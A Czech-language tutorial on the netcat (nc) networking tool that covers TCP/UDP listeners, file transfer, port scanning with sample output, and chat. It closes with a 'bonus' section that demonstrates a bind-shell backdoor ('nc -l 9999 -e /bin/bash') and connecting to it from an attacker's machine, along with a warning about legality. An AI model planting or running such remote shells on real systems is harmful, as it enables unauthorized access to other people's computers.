Netcat je výkonný a všestranný síťový nástroj, který je k dispozici pro počítače se systémy Linux, Mac a Windows. Je jednoduchý na používání a je nezbytný pro každého, kdo se zajímá o síťovou komunikaci.
Základní funkcí Netcatu je umožnit připojení dvou počítačů a sdílení zdrojů. Název je portmanteau sítě a zřetězení, což je luxusní slovo pro spojování věcí dohromady.
Spojení lze provádět přímo mezi stroji prostřednictvím portů TCP nebo UDP. Jakmile je stanoveno, existuje mnoho potenciálních případů použití. Komunikace může fungovat obousměrně, takže soubory nebo informace se mohou přesouvat od posluchače ke klientovi nebo klienta k posluchači.
Netcat je známý jako IT „švýcarský armádní nůž“ kvůli jeho široké škále funkcí. Může být použit pro jednoduché odesílání souborů, chatování, webové servery, spouštění kódu na dálku. Seznam je rozsáhlý a rozmanitý.
V tomto článku zdůrazním některé z běžnějších aplikací.
Netcat lze notoricky použít k vytvoření přístupu „zadními vrátky“. Vysvětlím, jak to funguje, ale mějte na paměti, že toto již není součástí softwaru nc kvůli jeho potenciálu pro škodlivé použití.
Příklady příkazů Netcat (nc)
Zde je syntaxe příkazu nc:
nc [options] [hostname] [port]
Syntaxe se může lišit v závislosti na aplikaci, ale pro většinu použití budou vaše příkazy následovat tento základní vzor.
Podívejme se
1. Vytvořte připojení pomocí TCP pomocí příkazu netcat
Jak jsem již zmínil, hlavní funkcí netcatu je spojení dvou strojů dohromady. Můžete nastavit připojení pomocí TCP pro připojení dvou samostatných strojů, toto připojení můžete také emulovat pomocí terminálu.
Poslouchací stroj:
nc -l 8080
Tento příkaz otevře port 8080 a řekne počítači, aby začal naslouchat na tomto portu.
K navázání spojení použijete jiný terminál a zadáte následující.
Klientský počítač:
nc 127.0.0.1 8080
Místo IP můžete také použít „localhost“ nebo zde použít IP svého druhého počítače, pokud vytváříte vzdálené připojení.
To je vše, otevřeli jste port TCP a navázali spojení mezi dvěma systémy.
Rychlý úvod do TCP vs UDP
Proč standardně používáme TCP? TCP je starší technologie než UDP a funguje na různých úrovních modelu OSI. Poskytnu rychlý přehled rozdílů mezi nimi a popíši některé situace, kdy si můžete vybrat jednu před druhou.
TCP má silné možnosti opravy chyb. Co to znamená? V zásadě to znamená, že zatímco jsou datové pakety přenášeny ze systému do systému, jsou prováděny nepřetržité testy. Tyto testy zajišťují, že informace ze systému A jsou přesně zkopírovány do systému B. Toto je velmi zjednodušená verze toho, co se děje, když informace putují přes sítě (internet).
V internetové komunikaci se však používá mnoho protokolů, nejen TCP. UDP má jiná pravidla než TCP. Ani jedno není nutně „lepší“, ale každý z nich může vynikat při provádění různých úkolů.
Proč bychom měli používat UDP přes TCP nebo naopak? Záleží na aplikaci. TCP je pomalejší, ale spolehlivější pro přesný přenos dat.
UDP lze zvolit v situacích, kdy je rychlost důležitější než spolehlivost přenosu informací. Jedním z příkladů je streamování dat, jako je video. Video lze přes UDP přenášet rychleji, a i když se při přenosu vyskytnou chyby, je méně pravděpodobné, že ovlivní uživatelskou zkušenost.
2. Vytvořte připojení pomocí UDP pomocí příkazu nc
Kroky pro vytvoření připojení UDP jsou prakticky totožné s těmi, které jsme již provedli. Přidáte příznak volby, který určí, že typ portu, který chcete otevřít, je UDP, nikoli výchozí TCP.
nc -l -u 999
Je to tak jednoduché. To je vše, co musíte udělat, abyste otevřeli port UDP ‚999‘.
Možná by vás zajímalo, jestli můžete používat TCP a UDP se stejným číslem portu. Můžete, protože se jedná o samostatné protokoly.
3. Použijte příkaz nc k přenosu souborů mezi vzdálenými systémy
Existují i jiné způsoby přenosu souborů z jednoho systému do druhého. K tomuto účelu můžete také použít příkaz netcat.
Pro tento příklad jsem vytvořil ukázku, která ilustruje vzdálený přenos souborů z mého počítače se systémem Linux do mého MacBooku Pro.
Nastavení počítače se systémem Linux pro příjem
nc -l 9999 > fromMac.file
Začnete poslouchat na přijímajícím počítači na portu TCP 9999. ‘>
‘ sděluje počítači, že očekáváte přenos souboru. Název, který následuje, je místní název souboru.
Nastavení počítače Mac pro odesílání
nc 172.20.1.168 9999 < toLinux.file
Zde uvedená IP adresa patří počítači se systémem Linux. Překlopíte symbol na „<
“ a soubor „toLinux.file“ bude zkopírován na vzdálený počítač jako „fromMac.file“.
Zde je příklad použití dvou různých počítačů k odeslání souboru.
4. Použijte příkaz nc pro skenování portů
Mohou existovat efektivnější možnosti pro skenování portů, ale lze to provést pomocí netcat. Vzhledem k tomu, že netcat je standardně nainstalován na většině operačních systémů, je hezké vědět, jak to udělat, pokud potřebujete provést nějaké rychlé řešení problémů. Použijete „-n“ a zobrazíte podrobný výstup.
nc -v -n 127.0.0.1 1-100
To se pokusí vytvořit připojení k portům mezi 1-100. Port 80 je HTTP, jak jistě mnozí z vás vědí. Tento port je na počítačích normálně otevřený, protože se používá pro připojení k internetu.
Když používám tento příkaz, ve skutečnosti se pokouším připojit ke všem portům mezi 1-100. Úspěšně se připojí k portu 80, ale generuje chybovou zprávu z Apache. Skončím s nějakým HTML výstupem na terminálu, protože můj počítač to vidí jako špatný požadavek na stránku.
[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>
Režim nulového I/O
Abyste tomu zabránili, můžete použít -z
flag, což znamená nulový vstup/výstup. Toto je vestavěný režim skenování portů pro netcat. Stále mám stejný jazyk, ale ve skutečnosti se nepřipojuje k portu 80, což generuje chybu špatného požadavku. Místo toho pokračuje přes všechny skenované porty.
5. Chatujte s Netcat
Toto je zábavnější způsob použití netcat. Když navážete TCP spojení jako výše, můžete ve skutečnosti „chatovat“ mezi stroji. V době, kdy jsou aplikace pro posílání textových zpráv a chatování všudypřítomné, je to méně nové, ale v roce 1996 by to někoho úplně nadchlo.
Zde je animace, která ukazuje, jak mluvím z jednoho terminálu do druhého.
Docela cool, že?
Bonusový tip:Vytvořte zadní vrátka pomocí příkazu nc
Ukážu to pouze pro demonstrační účely. Uvědomte si prosím, že neoprávněné použití tohoto příkazu může být ve vaší zemi považováno za trestnou činnost.
Ve skutečnosti tento příkaz již nedělá nic s ‚nc‘. Existují způsoby, jak to udělat, ale budete je muset najít někde jinde. Toto je opět určeno pouze k prokázání schopnosti.
-e flag dělá něco spustitelného. Běžným způsobem, jak mohou útočníci získat přístup, je vytvořit taková zadní vrátka na otevřeném portu a použít je ke spouštění skriptů nebo jiné manipulaci se systémem souborů.
Pokud tedy útočník nějakým způsobem získal přístup ke stroji „oběti“, může vytvořit zadní vrátka takto:
nc -l 9999 -e /bin/bash
Nyní mohou útočníci použít tato zadní vrátka pro vzdálený přístup do systému a provádění příkazů. Takže ze systému útočníka:
nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
firefox linuxhandbook.com
To útočníkovi umožňuje vzdálený přístup k vašemu počítači z příkazového řádku. Po připojení mohu spouštět příkazy bash podobně, jako bych mohl používat přímo počítač.
Jsem si jistý, že si dokážete představit, jak někdo bez nejlepších úmyslů mohl tuto moc zneužít. Proto je velmi důležité sledovat aktivitu portů v jakékoli síti.
Doufám, že se vám tento krátký úvod do příkazu netcat líbil. Jako vždy nám dejte vědět, co si myslíte v sekci komentářů.